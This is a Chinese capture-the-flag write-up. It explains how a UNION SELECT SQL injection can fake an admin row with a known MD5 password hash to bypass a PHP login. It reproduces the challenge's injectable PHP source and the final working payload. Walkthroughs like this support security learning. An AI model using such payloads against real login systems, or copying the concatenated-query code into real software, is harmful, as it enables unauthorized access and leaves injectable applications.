sql注入联合查询小技巧绕过验证
来源为一道ctf题目
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";// 去除转义
if (get_magic_quotes_gpc()) {function stripslashes_deep($value){$value = is_array($value) ?array_map('stripslashes_deep', $value) :stripslashes($value);return $value;}$_POST = array_map('stripslashes_deep', $_POST);$_GET = array_map('stripslashes_deep', $_GET);$_COOKIE = array_map('stripslashes_deep', $_COOKIE);$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);if(preg_match("/\(|\)|\=|or/", $name)){die("do not hack me!");
}
else{if (!$result) {printf("Error: %s\n", mysqli_error($con));exit();}else{// echo '<pre>';$arr = mysqli_fetch_row($result);// print_r($arr);if($arr[1] == "admin"){if(md5($password) == $arr[2]){echo $flag;}else{die("wrong pass!");}}else{die("wrong user!");}}
}?>
首先查看源码得到一段base32编码的注释,利用base32解码发现为一段base64编码,在使用base64解码得到了下面的一条查询语句
select * from user where username = '$name'
通过代码审计发现要想得到FLAG就必须输入正确的用户名和密码,这里就有一个小技巧了
联合查询有个小特性,就是在查询不存在的数据时,会构建一个虚拟数据
mysql> select * from user;
+----+----------+----------------------------------+
| id | username | passwd |
+----+----------+----------------------------------+
| 1 | admin | cdc9c819c7f8be2628d4180669009d28 |
+----+----------+----------------------------------+
user表中只有一条数据,当我们用联合查询时会产生下面这种结果
mysql> select * from user union select 1,2,3;
+----+----------+----------------------------------+
| id | username | passwd |
+----+----------+----------------------------------+
| 1 | admin | cdc9c819c7f8be2628d4180669009d28 |
| 1 | 2 | 3 |
+----+----------+----------------------------------+
那么我们将payload写成1' union select 1,'admin',md5(123)
,user表查出的数据就会变成下面这样
mysql> select * from user where username='1' union select 1,'admin',md5(123);
+----+----------+----------------------------------+
| id | username | passwd |
+----+----------+----------------------------------+
| 1 | admin | 202cb962ac59075b964b07152d234b70 |
+----+----------+----------------------------------+
可以看到这张表中的password字段已经变成了123的MD5值。由于题目过滤了括号,所以我们最终的payload为1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#
。
此时只需要在密码字框输入123即可拿到flag
sql注入联合查询小技巧绕过验证相关推荐
- SQL注入-联合查询注入
SQL注入-联合查询注入 一,原理 使用union select对两个表联合查询,注意两个表查询的字段数量要相同,不然会报错. 比如表一有2个字段,表二有4个字段,要想联合查询必须查询字段数量相等,就 ...
- SQL注入——联合查询注入
0x01 SQL注入的原理 针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原 有SQL结构,达到编写程序时意料之外结果的攻击行为.其成因可以归结外一下 两个原因叠加造成的: 1 ...
- oracle中文字段名怎么查询_sql注入联合查询总结
点击上方蓝色字关注我们 联合查询注入利用的前提: 前提条件:页面上有显示位 联合注入的过程: 1.判断注入点 2.判断是整型还是字符型 3.判断查询列数 4.判断显示位 5.获取所有数据库名 6.获取 ...
- SQL注入详解和简单绕过原理
1.什么是SQL 结构化查询语言(Structured Query Language)简称SQL SQL使我们有能力访问数据库 2.什么是SQL注入 用户提交的数据可以被数据库解析执行 如果用户随随便 ...
- SQL注入-联合注入
页面有显示位时 , 可用联合注入 本次以 SQLi 第一关为案例 第一步,判断注入类型 参数中添加 单引号 ' , 如果报错,说明后端没有过滤参数 , 即 存在注入 ?id=1' 从数据库的报错中我们 ...
- SQL注入——联合注入
SQL注入原理:攻击者通过构造不同的SQL语句来实现对数据库的操作 SQL注入的本质:我们也能操作别人的数据库 数据库结构:库:就是一堆表组成的数据集合 表:类似Excel,有行和列组成的二维表 ...
- B站小迪安全笔记第十六天-SQL注入之查询方式及报错盲注
前言: 当进行 SQL 注入时,有很多注入会出现无回显的情况,其中不回显 的原因可能是 SQL 语句查询方式的问题导致,这个时候我们需要用到相 关的报错或盲注进行后续操作,同时作为手工注入时,同时作为 ...
- sql集合.联合查询
1.集合 集合:每一个sql查询的结果就是一个集合 select * from emp; 并集:取两个集合中所有元素 union all:表示取两个集合的并集,不删除重复元素 union:取两个集合的 ...
- sql 联合查询
概述: 联合查询效率较高,举例子来说明联合查询:内联inner join .左联left outer join .右联right outer join .全联full outer join 的好处及用 ...
最新文章
- 基于DQN强化学习训练一个超级玛丽
- java垃圾回收机制_JVM的垃圾回收机制——垃圾回收算法
- python对文件中的关键词查找替换,实现自动获取配置
- 学习手机游戏原画设计需要多长时间?难学吗?
- 高斯核函数python代码_单类SVM:SVDD
- centos之mysql安装配置使用
- 机器学习算法中的偏差-方差权衡(Bias-Variance Tradeoff)
- 【文献阅读】Perceptual Generative Adversarial Networks for Small Object Detection –CVPR-2017
- 使用swoole作为MQTT客户端并接收实现即时消息推送
- python函数测试_Python测试函数的方法之一
- 洛谷P4074 [WC2013]糖果公园(莫队)
- 全球资产管理平台提供商:Charles River Development 应用
- retrofit2 上传图片
- 怎么下载全国水系图层
- python 股票收益数据统计(柱状图)
- 厦门大学计算机考研资料汇总
- 给你一台大疆无人机,你能用来做点啥?(二)-----——倾斜摄影建模
- 未来计算机畅想英语作文,畅想未来的生活英语作文
- 用turtle画美国队长盾牌
- 使用lib库模式打包vue组件及组件引用